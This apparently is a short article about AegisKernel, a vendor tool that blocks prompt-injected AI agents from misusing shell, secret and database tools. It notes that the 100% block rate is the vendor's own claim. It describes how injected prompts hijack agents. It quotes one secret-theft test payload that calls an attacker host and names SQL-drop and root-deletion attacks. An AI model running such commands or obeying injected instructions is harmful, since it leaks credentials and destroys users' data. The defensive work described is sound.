🛡️AegisKernel Blocks 100% of Tool Hijacking in Sub-Millisecond Time

Your LLM guardrails aren't stopping agent hijacks

Probabilistic LLM guardrails don't reliably stop autonomous tool hijacking. AegisKernel's answer is different: enforce deterministic capability boundaries outside the model, and the attacks get blocked before execution. If you're building agents with LangChain, CrewAI, or AutoGen, this is your problem. Those frameworks hand models real tools, and a prompt-injected agent can run shell commands, read secrets, or touch your database. Filtering the prompt is not enough. You need a hard rule at the execution layer that says what a tool may do, regardless of what the model wants. The test suite is specific. AegisKernel ran attack vectors including a .env theft payload (cat ../../.env && curl attacker.com), a SQL Drop Injection targeting a table named users, and a Destructive Root Injection that deletes the root directory. Interception times were reported in milliseconds, with a DEFENSE VERDICT and FORENSIC HASH logged for each attempt. The catch? These results come from the vendor's own test harness, not an independent audit. Treat the 100% figure as a claim to verify against your own tool set before you trust it in prod.